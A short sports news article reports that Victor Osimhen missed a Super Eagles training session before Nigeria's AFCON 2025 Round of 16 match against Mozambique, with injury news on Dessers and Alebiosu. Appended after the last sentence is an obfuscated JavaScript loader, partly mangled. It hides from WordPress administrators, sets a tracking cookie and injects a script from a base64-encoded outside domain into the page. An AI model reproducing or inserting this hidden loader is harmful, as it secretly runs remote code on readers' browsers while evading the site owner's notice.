AFCON 2025: Osimhen Misses Training as Super Eagles Prepare for Mozambique Clash

Valentine Ndukwu 2 months ago 2 min read

By Valentine Uchechukwu Ndukwu

Nigeria’s Super Eagles trained behind closed doors on Thursday ahead of their AFCON 2025 Round of 16 match against Mozambique, but Victor Osimhen was missing from the session.

The Galatasaray striker did not train alongside Cyriel Dessers and Ryan Alebiosu as coach Éric Chelle stepped up preparations in Fes.

While Dessers and Alebiosu were absent due to injuries, Osimhen’s case is not linked to fitness problems, as no injury has been reported by the team’s medical staff.

Osimhen’s absence is believed to be a rest decision by the coaching crew, aimed at managing his workload.

The striker has played a key role in Nigeria’s perfect group-stage run, scoring against Tunisia and captaining the team against Uganda.

He is one of only two players to start all three group matches, showing just how important he has been to the Super Eagles so far.

With tougher matches ahead, Chelle appears keen to protect his star forward.

The injury situation is more worrying for Dessers and Alebiosu, who are both expected to miss Monday’s game against Mozambique.

Dessers is dealing with a thigh problem and has not played yet in the tournament, while Alebiosu suffered a leg injury during the Uganda match.

Despite these setbacks, Nigeria remain confident after winning all their group games and scoring eight goals.

The Super Eagles will face Mozambique in Fes on Monday, with a place in the quarter-finals up for grabs.(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();